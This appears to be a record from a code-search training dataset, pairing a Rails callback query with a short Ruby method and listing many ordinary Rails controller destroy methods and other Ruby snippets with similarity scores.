"def destroy\n @fieldtype = Fieldtype.find(params[:id])\n @fieldtype.destroy\n\n respond_to do |format|\n format.html { redirect_to fieldtypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @device_type.destroy\n respond_to do |format|\n format.html { redirect_to device_types_url(protocol: redirect_protocol), notice: 'Device type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @power_rack_type.destroy\n respond_to do |format|\n format.html { redirect_to power_rack_types_url, notice: \"Power rack type was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @gig_type.destroy\n respond_to do |format|\n format.html { redirect_to gig_types_url, notice: 'Gig type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ptype.destroy\n respond_to do |format|\n format.html { redirect_to ptypes_url, notice: 'Ptype was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ptype.destroy\n respond_to do |format|\n format.html { redirect_to ptypes_url, notice: 'Ptype was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @heat_type = HeatType.find(params[:id])\n @heat_type.destroy\n\n respond_to do |format|\n format.html { redirect_to heat_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ref_hospitalization_type = Ref::HospitalizationType.find(params[:id])\n @ref_hospitalization_type.destroy\n\n respond_to do |format|\n format.html { redirect_to ref_hospitalization_types_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @vet_lab_type = VetLabType.find(params[:id])\n @vet_lab_type.destroy\n\n respond_to do |format|\n format.html { redirect_to vet_lab_types_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @energy_data_type = EnergyDataType.find(params[:id])\n @energy_data_type.destroy\n\n respond_to do |format|\n format.html { redirect_to energy_data_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @incident_type = IncidentType.find(params[:id])\n @incident_type.destroy\n\n respond_to do |format|\n format.html { redirect_to incident_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pricetype.destroy\n respond_to do |format|\n format.html { redirect_to pricetypes_url, notice: 'Pricetype was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @kpi = Kpi.find(params[:id])\n @kpi.destroy\n\n respond_to do |format|\n format.html { redirect_to(kpis_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @tasktype = Tasktype.find(params[:id])\n @tasktype.destroy\n\n respond_to do |format|\n format.html { redirect_to tasktypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @reform_type = ReformType.find(params[:id])\n @reform_type.destroy\n\n respond_to do |format|\n format.html { redirect_to reform_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @model_type.destroy\n respond_to do |format|\n format.html { redirect_to model_types_url, notice: 'Model type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @techaxis_type = TechaxisType.find(params[:id])\n @techaxis_type.destroy\n\n respond_to do |format|\n format.html { redirect_to techaxis_types_url, :notice => t('controllermessage.delete') }\n format.json { head :no_content }\n end\n end",
"def destroy\n @info_type = InfoType.find(params[:id])\n @info_type.destroy\n\n respond_to do |format|\n format.html { redirect_to info_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project_type.destroy\n respond_to do |format|\n format.html { redirect_to project_types_url, notice: 'Project type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @potion_type.destroy\n respond_to do |format|\n format.html { redirect_to potion_types_url, notice: 'Potion type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @downtime_type.destroy\n respond_to do |format|\n format.html { redirect_to downtime_types_url, notice: '成功删除.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dis_packagetype.destroy\n respond_to do |format|\n format.html { redirect_to dis_packagetypes_url, notice: 'Dis packagetype was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sample_type = SampleType.find(params[:id])\n @sample_type.destroy\n\n respond_to do |format|\n format.html { redirect_to sample_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item_type.destroy\n respond_to do |format|\n format.html { redirect_to item_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @typeio.destroy\n respond_to do |format|\n format.html { redirect_to @typeio.bulletin_board, notice: 'Typeio was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @az_simple_data_type = AzSimpleDataType.find(params[:id])\n @az_simple_data_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(az_simple_data_types_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @prune_type.destroy\n respond_to do |format|\n format.html { redirect_to prune_types_url, notice: 'Prune type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n asset_type = AssetType.find(params[:id])\n asset_type.destroy\n\n respond_to do |format|\n format.html { redirect_to asset_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @page_type = PageType.find(params[:id])\n @page_type.destroy\n\n respond_to do |format|\n format.html { redirect_to page_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @fueltype = Fueltype.find(params[:id])\n @fueltype.destroy\n\n respond_to do |format|\n format.html { redirect_to fueltypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @projectile_type.destroy\n respond_to do |format|\n format.html { redirect_to projectile_types_url, notice: 'Projectile type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @realty_type = RealtyType.find(params[:id])\n @realty_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(realty_types_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project_type.destroy\n respond_to do |format|\n format.html { redirect_to base_project_types_url, notice: 'Base project type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end",
"def destroy\n @metric_type = MetricType.find(params[:id])\n @metric_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(metric_types_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @outage_type = OutageType.find(params[:id])\n @outage_type.destroy\n\n respond_to do |format|\n format.html { redirect_to outage_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @volume_type = VolumeType.find(params[:id])\n @volume_type.destroy\n\n respond_to do |format|\n format.html { redirect_to volume_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @roof_type.destroy\n respond_to do |format|\n format.html { redirect_to roof_types_url, notice: 'Roof type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @garbage_type.destroy\n respond_to do |format|\n format.html { redirect_to garbage_types_url, notice: 'Garbage type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @typegroup.destroy\n respond_to do |format|\n format.html { redirect_to typegroups_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @servicetype = Servicetype.find(params[:id])\n @servicetype.destroy\n\n respond_to do |format|\n format.html { redirect_to servicetypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @servicetype = Servicetype.find(params[:id])\n @servicetype.destroy\n\n respond_to do |format|\n format.html { redirect_to servicetypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cdist_type = CdistType.find(params[:id])\n @cdist_type.destroy\n\n respond_to do |format|\n format.html { redirect_to cdist_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @powder_type.destroy\n respond_to do |format|\n format.html { redirect_to powder_types_url, notice: 'Powder type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @use_type.destroy\n respond_to do |format|\n format.html { redirect_to use_types_url, notice: 'Use type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @dash_type = DashType.find(params[:id])\n @dash_type.destroy\n\n respond_to do |format|\n format.html { redirect_to dash_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @ftype = Ftype.find(params[:id])\n @ftype.destroy\n\n respond_to do |format|\n format.html { redirect_to ftypes_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @segment_type = SegmentType.find(params[:id])\n @segment_type.destroy\n\n respond_to do |format|\n format.html { redirect_to segment_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bs_type.destroy\n respond_to do |format|\n format.html { redirect_to bs_types_url, notice: 'Bs type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @diet_type.destroy\n respond_to do |format|\n format.html { redirect_to diet_types_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @premise_type = PremiseType.find(params[:id])\n @premise_type.destroy\n\n respond_to do |format|\n format.html { redirect_to premise_types_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.6899133",
"0.68929327",
"0.6790414",
"0.677679",
"0.676806",
"0.6766484",
"0.6763869",
"0.6734256",
"0.6725124",
"0.6722001",
"0.67125696",
"0.67114246",
"0.67042875",
"0.6697558",
"0.6692546",
"0.6691969",
"0.66915977",
"0.6684318",
"0.6658651",
"0.66412884",
"0.66391337",
"0.6637957",
"0.6636063",
"0.6626506",
"0.66198176",
"0.6616782",
"0.66159314",
"0.6614441",
"0.6605995",
"0.6604616",
"0.65968287",
"0.65944445",
"0.65880364",
"0.65841436",
"0.6583944",
"0.6580851",
"0.65762514",
"0.65715253",
"0.6567597",
"0.65654933",
"0.65603346",
"0.6559063",
"0.65581876",
"0.6556924",
"0.65550053",
"0.6551151",
"0.65501493",
"0.6542207",
"0.65411544",
"0.65378016",
"0.6536453",
"0.6536453",
"0.6518636",
"0.65171015",
"0.6516023",
"0.6513155",
"0.6512674",
"0.65044016",
"0.6496458",
"0.648914",
"0.6489071",
"0.64885837",
"0.6487803",
"0.6479341",
"0.6479315",
"0.6473069",
"0.64729863",
"0.6472601",
"0.6472114",
"0.6468363",
"0.6466708",
"0.6465547",
"0.6461645",
"0.6456268",
"0.64509666",
"0.64488316",
"0.6448461",
"0.6443986",
"0.64436746",
"0.64407057",
"0.64407057",
"0.64407057",
"0.64407057",
"0.6440292",
"0.6439182",
"0.6437482",
"0.643526",
"0.64342415",
"0.64303654",
"0.643016",
"0.643016",
"0.6428592",
"0.64250296",
"0.6424682",
"0.6422433",
"0.64194626",
"0.64164823",
"0.641479",
"0.64121044",
"0.64110965"
] |
0.6970028
|
0
|
Use callbacks to share common setup or constraints between actions.
|
def js_request?
request.format.js?
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.